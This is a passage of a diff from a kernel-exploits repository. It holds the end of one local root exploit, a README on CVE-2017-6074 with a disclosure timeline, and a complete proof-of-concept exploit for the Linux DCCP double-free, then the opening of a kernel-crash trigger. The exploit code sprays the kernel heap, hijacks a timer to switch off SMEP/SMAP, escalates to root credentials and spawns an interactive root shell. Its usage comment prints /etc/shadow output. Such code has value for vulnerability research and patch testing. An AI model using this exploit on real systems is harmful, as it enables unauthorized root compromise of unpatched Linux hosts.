if (unshare(CLONE_NEWUSER) != 0) {
|
||||
printf("[!] unprivileged user namespaces are not available\n");
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
perror("[-] write_file(/proc/self/set_groups)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
perror("[-] write_file(/proc/self/uid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
perror("[-] write_file(/proc/self/gid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
perror("[-] sched_setaffinity()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
perror("[-] system(/sbin/ifconfig lo up)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
char* shell = "/bin/bash";
|
||||
char* args[] = {shell, "-i", NULL};
|
||||
execve(shell, args, NULL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
printf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
printf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
printf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
printf("[.] starting\n");
|
||||
|
||||
printf("[.] checking distro and kernel versions\n");
|
||||
detect_versions();
|
||||
printf("[~] done, versions looks good\n");
|
||||
|
||||
printf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
printf("[~] done, looks good\n");
|
||||
|
||||
printf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
printf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
printf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
printf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
printf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
printf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,17 @@
|
|||
CVE-2017-6074
|
||||
=============
|
||||
|
||||
- [CVE-2017-6074](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6074)
|
||||
|
||||
This is a proof-of-concept local root exploit for the vulnerability in the DCCP protocol implementation [CVE-2017-6074](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-6074).
|
||||
Includes a semireliable SMEP/SMAP bypass (the kernel might crash shorty after the exploit succeds).
|
||||
|
||||
Some details: http://www.openwall.com/lists/oss-security/2017/02/26/2
|
||||
|
||||
Timeline:
|
||||
* 2017-02-15: Bug reported to security@kernel org
|
||||
* 2017-02-16: [Patch submitted to netdev](https://patchwork.ozlabs.org/patch/728808/)
|
||||
* 2017-02-17: [Patch committed to mainline kernel](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4)
|
||||
* 2017-02-18: Notification sent to linux-distros
|
||||
* 2017-02-22: [Public announcement](http://seclists.org/oss-sec/2017/q1/471)
|
||||
* 2017-02-26: [Exploit](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074) published
|
|
@ -0,0 +1,708 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-6074.
|
||||
// Includes a semireliable SMAP/SMEP bypass.
|
||||
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
|
||||
//
|
||||
// Usage:
|
||||
// $ gcc poc.c -o pwn
|
||||
// $ ./pwn
|
||||
// [.] namespace sandbox setup successfully
|
||||
// [.] disabling SMEP & SMAP
|
||||
// [.] scheduling 0xffffffff81064550(0x406e0)
|
||||
// [.] waiting for the timer to execute
|
||||
// [.] done
|
||||
// [.] SMEP & SMAP should be off now
|
||||
// [.] getting root
|
||||
// [.] executing 0x402043
|
||||
// [.] done
|
||||
// [.] should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// [!] don't kill the exploit binary, the kernel will crash
|
||||
// # cat /etc/shadow
|
||||
// ...
|
||||
// daemon:*:17149:0:99999:7:::
|
||||
// bin:*:17149:0:99999:7:::
|
||||
// sys:*:17149:0:99999:7:::
|
||||
// sync:*:17149:0:99999:7:::
|
||||
// games:*:17149:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define SMEP_SMAP_BYPASS 1
|
||||
|
||||
// Needed for local root.
|
||||
#define COMMIT_CREDS 0xffffffff810a2840L
|
||||
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L
|
||||
#define SHINFO_OFFSET 1728
|
||||
|
||||
// Needed for SMEP_SMAP_BYPASS.
|
||||
#define NATIVE_WRITE_CR4 0xffffffff81064550ul
|
||||
#define CR4_DESIRED_VALUE 0x406e0ul
|
||||
#define TIMER_OFFSET (728 + 48 + 104)
|
||||
|
||||
#define KMALLOC_PAD 128
|
||||
#define KMALLOC_WARM 32
|
||||
#define CATCH_FIRST 6
|
||||
#define CATCH_AGAIN 16
|
||||
#define CATCH_AGAIN_SMALL 64
|
||||
|
||||
// Port is incremented on each use.
|
||||
static int port = 11000;
|
||||
|
||||
void debug(const char *msg) {
|
||||
/*
|
||||
char buffer[32];
|
||||
snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
|
||||
system(buffer);
|
||||
*/
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, void *func) {
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = (unsigned long)func;
|
||||
}
|
||||
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
unsigned long expires;
|
||||
void (*function)(unsigned long);
|
||||
unsigned long data;
|
||||
unsigned int flags;
|
||||
int slack;
|
||||
};
|
||||
|
||||
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
|
||||
|
||||
timer->next = 0;
|
||||
timer->prev = 0;
|
||||
timer->expires = 4294943360;
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
timer->slack = -1;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
struct dccp_handle {
|
||||
struct sockaddr_in6 sa;
|
||||
int s1;
|
||||
int s2;
|
||||
};
|
||||
|
||||
void dccp_init(struct dccp_handle *handle, int port) {
|
||||
handle->sa.sin6_family = AF_INET6;
|
||||
handle->sa.sin6_port = htons(port);
|
||||
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
|
||||
handle->sa.sin6_flowinfo = 0;
|
||||
handle->sa.sin6_scope_id = 0;
|
||||
|
||||
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
|
||||
if (handle->s1 == -1) {
|
||||
perror("socket(SOCK_DCCP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
|
||||
if (rv != 0) {
|
||||
perror("bind()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
rv = listen(handle->s1, 0x9);
|
||||
if (rv != 0) {
|
||||
perror("listen()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int optval = 8;
|
||||
rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
|
||||
&optval, sizeof(optval));
|
||||
if (rv != 0) {
|
||||
perror("setsockopt(IPV6_RECVPKTINFO)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
|
||||
if (handle->s1 == -1) {
|
||||
perror("socket(SOCK_DCCP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void dccp_kmalloc_kfree(struct dccp_handle *handle) {
|
||||
int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
|
||||
if (rv != 0) {
|
||||
perror("connect(SOCK_DCCP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void dccp_kfree_again(struct dccp_handle *handle) {
|
||||
int rv = shutdown(handle->s1, SHUT_RDWR);
|
||||
if (rv != 0) {
|
||||
perror("shutdown(SOCK_DCCP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void dccp_destroy(struct dccp_handle *handle) {
|
||||
close(handle->s1);
|
||||
close(handle->s2);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *
|
||||
|
||||
struct udp_fifo_handle {
|
||||
int fds[2];
|
||||
};
|
||||
|
||||
void udp_fifo_init(struct udp_fifo_handle* handle) {
|
||||
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
|
||||
if (rv != 0) {
|
||||
perror("socketpair()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void udp_fifo_destroy(struct udp_fifo_handle* handle) {
|
||||
close(handle->fds[0]);
|
||||
close(handle->fds[1]);
|
||||
}
|
||||
|
||||
void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
|
||||
int rv = send(handle->fds[0], buffer, 1536, 0);
|
||||
if (rv != 1536) {
|
||||
perror("send()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
|
||||
char buffer[128];
|
||||
int rv = send(handle->fds[0], &buffer[0], 128, 0);
|
||||
if (rv != 128) {
|
||||
perror("send()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void udp_fifo_kfree(struct udp_fifo_handle* handle) {
|
||||
char buffer[2048];
|
||||
int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
|
||||
if (rv != 1536) {
|
||||
perror("recv()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int timer_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
perror("socket(SOCK_DGRAM)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
#define CONF_RING_FRAMES 1
|
||||
void timer_schedule(int handle, int timeout) {
|
||||
int optval = TPACKET_V3;
|
||||
int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
|
||||
&optval, sizeof(optval));
|
||||
if (rv != 0) {
|
||||
perror("setsockopt(PACKET_VERSION)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
struct tpacket_req3 tp;
|
||||
memset(&tp, 0, sizeof(tp));
|
||||
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
|
||||
tp.tp_block_nr = 1;
|
||||
tp.tp_frame_size = getpagesize();
|
||||
tp.tp_frame_nr = CONF_RING_FRAMES;
|
||||
tp.tp_retire_blk_tov = timeout;
|
||||
rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
|
||||
(void *)&tp, sizeof(tp));
|
||||
if (rv != 0) {
|
||||
perror("setsockopt(PACKET_RX_RING)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void socket_sendmmsg(int sock, char *buffer) {
|
||||
struct mmsghdr msg[1];
|
||||
|
||||
msg[0].msg_hdr.msg_iovlen = 0;
|
||||
|
||||
// Buffer to kmalloc.
|
||||
msg[0].msg_hdr.msg_control = &buffer[0];
|
||||
msg[0].msg_hdr.msg_controllen = 2048;
|
||||
|
||||
// Make sendmmsg exit easy with EINVAL.
|
||||
msg[0].msg_hdr.msg_name = "root";
|
||||
msg[0].msg_hdr.msg_namelen = 1;
|
||||
|
||||
int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
|
||||
if (rv == -1 && errno != EINVAL) {
|
||||
perror("[-] sendmmsg()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void sendmmsg_kmalloc_kfree(int port, char *buffer) {
|
||||
int sock[2];
|
||||
|
||||
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
|
||||
if (rv != 0) {
|
||||
perror("socketpair()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
socket_sendmmsg(sock[0], buffer);
|
||||
|
||||
close(sock[0]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *
|
||||
|
||||
void dccp_connect_pad(struct dccp_handle *handle, int port) {
|
||||
handle->sa.sin6_family = AF_INET6;
|
||||
handle->sa.sin6_port = htons(port);
|
||||
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
|
||||
handle->sa.sin6_flowinfo = 0;
|
||||
handle->sa.sin6_scope_id = 0;
|
||||
|
||||
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
|
||||
if (handle->s1 == -1) {
|
||||
perror("socket(SOCK_DCCP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
|
||||
if (rv != 0) {
|
||||
perror("bind()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
rv = listen(handle->s1, 0x9);
|
||||
if (rv != 0) {
|
||||
perror("listen()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
|
||||
if (handle->s1 == -1) {
|
||||
perror("socket(SOCK_DCCP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
|
||||
if (rv != 0) {
|
||||
perror("connect(SOCK_DCCP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void dccp_kmalloc_pad() {
|
||||
int i;
|
||||
struct dccp_handle handle;
|
||||
for (i = 0; i < 4; i++) {
|
||||
dccp_connect_pad(&handle, port++);
|
||||
}
|
||||
}
|
||||
|
||||
void timer_kmalloc_pad() {
|
||||
int i;
|
||||
for (i = 0; i < 4; i++) {
|
||||
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
}
|
||||
}
|
||||
|
||||
void udp_kmalloc_pad() {
|
||||
int i, j;
|
||||
char dummy[2048];
|
||||
struct udp_fifo_handle uh[16];
|
||||
for (i = 0; i < KMALLOC_PAD / 16; i++) {
|
||||
udp_fifo_init(&uh[i]);
|
||||
for (j = 0; j < 16; j++)
|
||||
udp_fifo_kmalloc(&uh[i], &dummy[0]);
|
||||
}
|
||||
}
|
||||
|
||||
void kmalloc_pad() {
|
||||
debug("dccp kmalloc pad");
|
||||
dccp_kmalloc_pad();
|
||||
debug("timer kmalloc pad");
|
||||
timer_kmalloc_pad();
|
||||
debug("udp kmalloc pad");
|
||||
udp_kmalloc_pad();
|
||||
}
|
||||
|
||||
void udp_kmalloc_warm() {
|
||||
int i, j;
|
||||
char dummy[2048];
|
||||
struct udp_fifo_handle uh[16];
|
||||
for (i = 0; i < KMALLOC_WARM / 16; i++) {
|
||||
udp_fifo_init(&uh[i]);
|
||||
for (j = 0; j < 16; j++)
|
||||
udp_fifo_kmalloc(&uh[i], &dummy[0]);
|
||||
}
|
||||
for (i = 0; i < KMALLOC_WARM / 16; i++) {
|
||||
for (j = 0; j < 16; j++)
|
||||
udp_fifo_kfree(&uh[i]);
|
||||
}
|
||||
}
|
||||
|
||||
void kmalloc_warm() {
|
||||
udp_kmalloc_warm();
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *
|
||||
|
||||
// Executes func(arg) from interrupt context multiple times.
|
||||
void kernel_exec_irq(void *func, unsigned long arg) {
|
||||
int i;
|
||||
struct dccp_handle dh;
|
||||
struct udp_fifo_handle uh1, uh2, uh3, uh4;
|
||||
char dummy[2048];
|
||||
char buffer[2048];
|
||||
|
||||
printf("[.] scheduling %p(%p)\n", func, (void *)arg);
|
||||
|
||||
memset(&dummy[0], 0xc3, 2048);
|
||||
init_timer_buffer(&buffer[0], func, arg);
|
||||
|
||||
udp_fifo_init(&uh1);
|
||||
udp_fifo_init(&uh2);
|
||||
udp_fifo_init(&uh3);
|
||||
udp_fifo_init(&uh4);
|
||||
|
||||
debug("kmalloc pad");
|
||||
kmalloc_pad();
|
||||
|
||||
debug("kmalloc warm");
|
||||
kmalloc_warm();
|
||||
|
||||
debug("dccp init");
|
||||
dccp_init(&dh, port++);
|
||||
|
||||
debug("dccp kmalloc kfree");
|
||||
dccp_kmalloc_kfree(&dh);
|
||||
|
||||
debug("catch 1");
|
||||
for (i = 0; i < CATCH_FIRST; i++)
|
||||
udp_fifo_kmalloc(&uh1, &dummy[0]);
|
||||
|
||||
debug("dccp kfree again");
|
||||
dccp_kfree_again(&dh);
|
||||
|
||||
debug("catch 2");
|
||||
for (i = 0; i < CATCH_FIRST; i++)
|
||||
udp_fifo_kmalloc(&uh2, &dummy[0]);
|
||||
|
||||
int timers[CATCH_FIRST];
|
||||
debug("catch 1 -> timer");
|
||||
for (i = 0; i < CATCH_FIRST; i++) {
|
||||
udp_fifo_kfree(&uh1);
|
||||
timers[i] = timer_kmalloc();
|
||||
}
|
||||
|
||||
debug("catch 1 small");
|
||||
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
|
||||
udp_fifo_kmalloc_small(&uh4);
|
||||
|
||||
debug("schedule timers");
|
||||
for (i = 0; i < CATCH_FIRST; i++)
|
||||
timer_schedule(timers[i], 500);
|
||||
|
||||
debug("catch 2 -> overwrite timers");
|
||||
for (i = 0; i < CATCH_FIRST; i++) {
|
||||
udp_fifo_kfree(&uh2);
|
||||
udp_fifo_kmalloc(&uh3, &buffer[0]);
|
||||
}
|
||||
|
||||
debug("catch 2 small");
|
||||
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
|
||||
udp_fifo_kmalloc_small(&uh4);
|
||||
|
||||
printf("[.] waiting for the timer to execute\n");
|
||||
|
||||
debug("wait");
|
||||
sleep(1);
|
||||
|
||||
printf("[.] done\n");
|
||||
}
|
||||
|
||||
void disable_smep_smap() {
|
||||
printf("[.] disabling SMEP & SMAP\n");
|
||||
kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
|
||||
printf("[.] SMEP & SMAP should be off now\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *
|
||||
|
||||
// Executes func() from process context.
|
||||
void kernel_exec(void *func) {
|
||||
int i;
|
||||
struct dccp_handle dh;
|
||||
struct udp_fifo_handle uh1, uh2, uh3;
|
||||
char dummy[2048];
|
||||
char buffer[2048];
|
||||
|
||||
printf("[.] executing %p\n", func);
|
||||
|
||||
memset(&dummy[0], 0, 2048);
|
||||
init_skb_buffer(&buffer[0], func);
|
||||
|
||||
udp_fifo_init(&uh1);
|
||||
udp_fifo_init(&uh2);
|
||||
udp_fifo_init(&uh3);
|
||||
|
||||
debug("kmalloc pad");
|
||||
kmalloc_pad();
|
||||
|
||||
debug("kmalloc warm");
|
||||
kmalloc_warm();
|
||||
|
||||
debug("dccp init");
|
||||
dccp_init(&dh, port++);
|
||||
|
||||
debug("dccp kmalloc kfree");
|
||||
dccp_kmalloc_kfree(&dh);
|
||||
|
||||
debug("catch 1");
|
||||
for (i = 0; i < CATCH_FIRST; i++)
|
||||
udp_fifo_kmalloc(&uh1, &dummy[0]);
|
||||
|
||||
debug("dccp kfree again:");
|
||||
dccp_kfree_again(&dh);
|
||||
|
||||
debug("catch 2");
|
||||
for (i = 0; i < CATCH_FIRST; i++)
|
||||
udp_fifo_kmalloc(&uh2, &dummy[0]);
|
||||
|
||||
debug("catch 1 -> overwrite");
|
||||
for (i = 0; i < CATCH_FIRST; i++) {
|
||||
udp_fifo_kfree(&uh1);
|
||||
sendmmsg_kmalloc_kfree(port++, &buffer[0]);
|
||||
}
|
||||
debug("catch 2 -> free & trigger");
|
||||
for (i = 0; i < CATCH_FIRST; i++)
|
||||
udp_fifo_kfree(&uh2);
|
||||
|
||||
debug("catch 1 & 2");
|
||||
for (i = 0; i < CATCH_AGAIN; i++)
|
||||
udp_fifo_kmalloc(&uh3, &dummy[0]);
|
||||
|
||||
printf("[.] done\n");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
|
||||
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
|
||||
|
||||
void get_root_payload(void) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
void get_root() {
|
||||
printf("[.] getting root\n");
|
||||
kernel_exec(&get_root_payload);
|
||||
printf("[.] should be root now\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void exec_shell() {
|
||||
char *shell = "/bin/bash";
|
||||
char *args[] = {shell, "-i", NULL};
|
||||
execve(shell, args, NULL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
perror("fork()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
printf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
printf("[-] something went wrong =(\n");
|
||||
printf("[!] don't kill the exploit binary, the kernel will crash\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("[+] got r00t ^_^\n");
|
||||
printf("[!] don't kill the exploit binary, the kernel will crash\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid freeing
|
||||
// skbuffs and prevent crashes due to a allocator corruption.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...)
|
||||
{
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
perror("unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
perror("unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
perror("write_file(/proc/self/set_groups)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
perror("write_file(/proc/self/uid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
perror("write_file(/proc/self/gid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
perror("sched_setaffinity()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
perror("system(/sbin/ifconfig lo up)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("[.] namespace sandbox setup successfully\n");
|
||||
}
|
||||
|
||||
int main() {
|
||||
setup_sandbox();
|
||||
|
||||
#if SMEP_SMAP_BYPASS
|
||||
disable_smep_smap();
|
||||
#endif
|
||||
|
||||
get_root();
|
||||
|
||||
check_root();
|
||||
|
||||
while (true) {
|
||||
sleep(100);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
// A trigger for CVE-2017-6074, crashes kernel.
|
||||
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <netinet/ip.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
